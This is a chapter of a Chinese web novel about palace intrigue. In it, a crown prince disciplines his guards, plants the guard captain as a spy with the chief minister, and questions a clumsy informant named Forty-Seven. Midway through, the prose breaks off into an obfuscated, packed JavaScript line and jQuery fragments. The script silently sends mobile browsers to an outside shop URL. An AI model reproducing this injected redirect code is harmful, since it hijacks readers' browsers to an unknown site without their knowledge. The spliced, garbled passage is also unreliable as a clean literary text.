萧司珩回宫时,天色已经大亮。
他换下那身沾满血污的平民衣裳,任由内侍服侍着穿上太子冠服。镜中映出一张年轻的脸,眉目间还带着破庙里那点温和的残余。
阳光破开朝雾,那点残余也倏忽消退。
“殿下,侍卫们已在外候着。”近侍低声禀报。
“进来。”
十几名侍卫神情肃然,鱼贯而入,随即齐刷刷跪了一地,为首之人额头满是血痂,看着颇为狰狞可怖。
萧司珩没有看他们,只慢慢系着袖口的系带,淡淡问道,“在东宫几年了?”
“回殿下,七年。”为首之人答道,他额头上的血污早已凝固,暗红色的血痂衬得面色惨白。
“七年,”萧司珩重复道,唇角微微露出笑意,“七年的情分,够你免死一次。但我想知道——若我死在密道里,你们今日又在何处?”
殿内死寂。有人的膝盖开始发抖。
萧司珩没再看他,只对近侍道,“其他人各领二十棍。若有再犯,自去慎刑司领死。”
侍卫们如蒙大赦,仓皇退去,留下为首之人独自跪在原地。
“至于你,”萧司珩轻轻笑了起来,“东宫侍卫长张横不堪太子问罪,次日投奔当朝首辅、身兼太子太傅的顾文渊大人,为报顾大人救命之恩,愿为顾大人肝脑涂地,算不算一出好戏?”
“殿下,”张横嘴唇颤抖,哑声道,“臣恐怕难以取信首辅。”
“他信不信,都愿意收你,”萧司珩唇边笑意未减,“而你心诚不诚,他都不在意。”
他轻轻挥手,道,“去吧,至于你的家人,一切照旧。”
张横默默无言,又狠狠磕了几个头,直至血痂迸裂,溅得地上满是星星点点的血迹,方才退下。
殿内又归于寂静,近侍垂首侍立,将呼吸放得极轻,半点也不敢抬眼。
侍卫长此去多半是凶多吉少,只不过他这次蒙了太子恩赦,必是赴汤蹈火也甘愿。
东宫太子萧司珩虽然年少,却是整个中都最让人难以看透的人。
他素来清冷寡言,任谁都没办法从他平淡的神情里猜出他的心思。虽看着清俊文弱,可那一双眼睛看人却冰凌凌的,冷得吓人,只消淡淡扫来一眼,便让人觉得自己像是被过了一层冰水,整个人都被看穿了,看透了。
萧司珩随手拈起放在书桌最顶层的密报,上头密密麻麻写着刺客的生平、武器的标记、被毁去字样的腰牌来历,当然没有一样能指向顾府,又当然谁都知道,这一次必定仍是顾文渊的手笔。
萧司珩随手将密报扔进炭盆,眼睛只看着纸张蜷曲发黄,问道,“九弟今年几岁了?”
近侍一怔,随即答道,“回殿下,来月便是九皇子的四岁生辰。”
“那我这做哥哥的,可真对他不住,”萧司珩淡淡道,“白白耽误首辅送他一个储君之位做生辰大礼。”
近侍不敢接话。
当朝皇帝病笃日久。自太子监国、首辅辅政之日起,朝中暗流愈发汹涌,不久长公主突然犯了疯病,二皇子谋逆,三皇子坠马,五皇子病故,六皇子溺亡,如今皇嗣竟只有太子和九皇子二人健在。
世人皆说是他的主子为了登基骨肉相残,可近侍自小便跟在太子身边,自然知道这些事情真真切切绝非太子所为,以他主子这般骄傲的人,根本不屑于对孱弱无力的兄弟姐妹下手。
只是……太子确实没有杀他们,他只是放任了。
近侍缩了缩脖子。
萧司珩目光落在另一份密报上,轻声道,“这么说来,还有一颗好棋子。”
他转过身,命近侍传四十七过来。
四十七跪在东宫的大殿上,他已换回寻常装束,眉目间却仍有粉黛的痕迹,他双膝跪得极标准,心口跳得有些快。
太子殿下果真容貌昳丽,昨日那个洗干净的小乞丐虽也容貌上佳,却比不得太子殿下的美貌摄人心魄。
萧司珩正坐着看沈家近年来的账务底细,没有看他,随意问道,“你叫什么?”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17527986|203601||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
四十七的脸颊有点发红,“属下四十七,拜见殿下。”
“你同他们说你叫什么?”萧司珩问。
“……芙蓉。”
“芙蓉。”萧司珩又笑了,连他自己都觉得今日笑得有些多,“别府暖阁的牌匾上写的又是什么字?”
四十七一愣,额头开始冒汗。
“‘芙蓉阁’,”萧司珩轻声道,“我安排那对兄妹住进芙蓉阁,你便要叫芙蓉。倒是会给自己做主。”
四十七开始砰砰磕头,额头很快红肿,随即青紫,随即破裂,白净的脸上很快满脸是血,滴落在地。
萧司珩眉头微蹙,近侍会意,道,“可停了吧,冬日血迹不好清洗,莫要将血溅到殿下鞋面上。”
四十七便停下,伏在地上,浑身发抖。
“罢了,从今日起,你便是芙蓉,”萧司珩道,“在别府做个仆人,不必再演戏了,那对兄妹从第一刻起便知道你是个蠢货,别当他们是不识字的乞儿。你只需看着,听着,别自作聪明。”
“属下明白。”芙蓉颤声道。
“退下吧。”
芙蓉爬起身,踉跄退下。
近侍上前,低声道,“殿下,要不要换个人?这个芙蓉怕是靠不住。”
“不必,”萧司珩将沈家的账本又翻了一页,随口道,“那对兄妹戒心高得很,留个蠢货在身边,反倒能让他们说些东西出来,不会想到背后还有别人。”
他的视线微顿,看到账本上画了一柄三寸多长的梅纹银簪,下面一行写字,写着此为沈崇安为迎娶正妻束兰音打造的定情信物,怔了怔。
原来那柄簪子上曾经嵌有珍珠宝石,也曾极尽华美过。
不知怎的,他想到密报上写道“沈氏妹将发簪抵于沈氏兄胸前,威胁其借太子势杀回沈府”,突然有些忍俊不禁。
近侍不知他怎地又笑了,一时间噤若寒蝉。
“借我的势杀回去,”萧司珩喃喃道,将账本翻到下一页,“真是好志气。”